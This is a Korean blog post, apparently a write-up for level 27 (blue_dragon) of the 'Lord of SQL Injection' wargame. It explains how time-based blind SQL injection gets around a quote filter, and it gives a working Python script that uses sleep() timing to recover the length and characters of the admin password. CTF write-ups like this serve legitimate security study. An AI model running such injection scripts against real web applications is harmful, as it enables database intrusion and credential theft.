본문 바로가기
3. 웹 애플리케이션 취약점 진단/Lord of Sql Injection

lord of sql injection 27번 - blue_dragon

by Robert8478 2023. 12. 22.

이번 문제는 '와 \가 필터링 되는 문제여서 우회하기가 어렵다.
대신 sleep 함수를 막지 않는것으로 보아 time based SQLI를 사용하면 될것같다.
쿼리를 사용했을때 메시지가 뜨지 않아도 sleep() 을 장시간으로 해서 주면 메시지가 뜰때 메시지대신 페이지 로딩 시간이 길어질 것이다.

if문으로 length를 검증하고 sleep(3) 을 주어 참이면 3초간 sleep 후 페이지를 로딩하게 했다.

length 비교값에 8을 주니 갑자기 페이지가 3초동안 로딩되었다가 불려졌다. 이를 보고 pw 길이가 8자리라는 것을 알아내었다. 이제 이를 이용해서 pw 값을 알아내면 된다.

ord와 substr 함수를 이용해 알아보았다.

blue-dragon.py
import urllib.request
import requests
import time

headers = {'Cookie':'PHPSESSID=ed785m9e4bu9sjn5kp119ohqrv'}
pw=""

for i in range(1,100):
    start=time.time()
    query="admin%27%20and%20if(length(pw)={},sleep(3),1)--+-".format(i)
    r=requests.get(url+query,headers=headers)
    if time.time()-start > 3:
        length = i
        break
print("pw length :",length)

for i in range(1, length+1):
    for j in range(48,123):
        start=time.time()
        query="admin%27%20and%20if(ord(substr(pw,{},1))={},sleep(3),1)--+-".format(i,j)
        r=requests.get(url+query,headers=headers)
        if time.time()-start > 3:
            pw += chr(j)
            print("{} : {}".format(i,pw))
            break
           

일일이 찾기 힘드니 코드를 이용해 풀었다. 그렇게나온 pw는 d948b8a0